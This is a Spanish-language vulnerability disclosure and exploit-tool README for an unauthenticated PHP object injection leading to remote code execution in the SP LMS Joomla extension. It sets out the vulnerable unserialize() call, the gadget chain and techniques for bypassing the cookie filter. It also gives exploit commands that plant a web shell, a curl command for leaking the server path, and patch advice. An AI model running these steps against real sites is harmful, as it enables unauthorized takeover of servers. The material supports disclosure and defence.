CVE-2026-48909 — Inyección de Objetos PHP en SP LMS → RCE

Ejecución Remota de Código sin Autenticación mediante Inyección de Objetos PHP en JoomShaper SP LMS (com_splms) ≤ 4.1.3 para Joomla CMS.

Autor: Amin İsayev / Proxima Cyber Security

Resumen

SP LMS es una extensión popular de Sistema de Gestión de Aprendizaje para Joomla desarrollada por JoomShaper con más de 100.000 instalaciones. Las versiones ≤ 4.1.3 pasan la cookie lmsOrders directamente a unserialize() sin ninguna validación, lo que permite a un atacante no autenticado inyectar un objeto PHP malicioso y lograr Ejecución Remota de Código a través de la cadena de gadgets nativa de Joomla.

Vulnerabilidad

Causa Raíz

components/com_splms/models/cart.php línea 28:

$cookie  = Factory::getApplication()->input->cookie;
$raw     = $cookie->get('lmsOrders', base64_encode(serialize(array())));
$decoded = base64_decode($raw);
$cartItems = unserialize($decoded);   // ← entrada de usuario no confiable

La cookie lmsOrders se decodifica en base64 y se pasa directamente a unserialize(). Un atacante controla completamente el objeto deserializado.

Cadena de Gadgets

La clase FormattedtextLogger de Joomla proporciona el gadget:

lmsOrders cookie (attacker-controlled)
  └─► unserialize()                             [cart.php:28]
        └─► FormattedtextLogger.__destruct()    [Joomla gadget]
              └─► initFile() → File::write($path, $format)
                    └─► PHP code written to disk → RCE

Nota: La RCE requiere Joomla < 5.2.2.
Joomla 5.2.2 corrigió FormattedtextLogger.__wakeup() (ver PR #44428).
La Inyección de Objetos PHP aún existe en com_splms ≤ 4.1.3 en todas las versiones de Joomla.

Bypass de Filtros

El método Input\Cookie::get() de Joomla aplica un filtro cmd por defecto, eliminando +, / y = del valor de la cookie — caracteres presentes en base64 estándar. El exploit utiliza:

• Codificación hex2bin() para evitar caracteres PHP prohibidos ($, _, {, }, \n)
• Alineación de relleno para asegurar que la longitud base64 sea divisible por 3 (sin relleno =)
• Iteración de caracteres de relleno (62 variantes) para eliminar / y + de la salida base64

Prueba de Concepto

Detección

python3 CVE-2026-48909.py https://target.com

[*] Target : https://target.com
[*] Path   : /index.php?option=com_splms&view=cart
[*] Probe  : lmsOrders=Tzo4OiJzdGRDbGFzcyI6MDp7fQ==

[VULNERABLE] HTTP 500 on probe vs 200 on benign — unserialize() called on cookie
[!] Update to SP LMS >= 4.1.4 immediately.

Explotación

python3 CVE-2026-48909_exploit.py https://target.com /var/www/html/tmp/x.php

Shell activa en https://target.com/tmp/x.php?c=id

Encontrando la ruta del servidor (si se desconoce):

# Alojamiento cPanel — la ruta se filtra desde las páginas de error de Joomla
curl -sk "https://target.com/administrator/" | grep -oP '\/home\d*\/[^"<\s]+'

# Rutas comunes a probar:
#   /var/www/html/tmp/x.php
#   /home/USER/public_html/tmp/x.php
#   /var/www/vhosts/DOMAIN/httpdocs/tmp/x.php

Requisitos

pip install requests

Python 3.10+

Corrección / Mitigación

1. Actualice SP LMS a la versión ≥ 4.1.4 inmediatamente
2. Actualice Joomla a ≥ 5.2.2 para eliminar la cadena de gadgets
3. Como mitigación temporal — valide y sanitice la cookie lmsOrders antes de deserializar:

// NO use unserialize() en datos controlados por el usuario
// Use json_encode/json_decode en su lugar
$cartItems = json_decode(base64_decode($raw), true) ?? [];

Referencias

• CVE-2026-48909 — cve.org
• CVE-2026-48909 — NVD
• GHSA-gf8c-xmwj-whrh — GitHub Advisory
• Joomla PR #44428 — Parche del gadget FormattedtextLogger
• CWE-502: Deserialización de Datos No Confiables
• OWASP: Inyección de Objetos PHP

Aviso Legal

Esta herramienta se publica con fines educativos y solo para pruebas de seguridad autorizadas.
El autor no se responsabiliza por el mal uso o daños causados por este programa.
No la use contra sistemas que no posea o para los que no tenga permiso explícito por escrito para realizar pruebas.

Amin İsayev / Proxima Cyber Security — 2026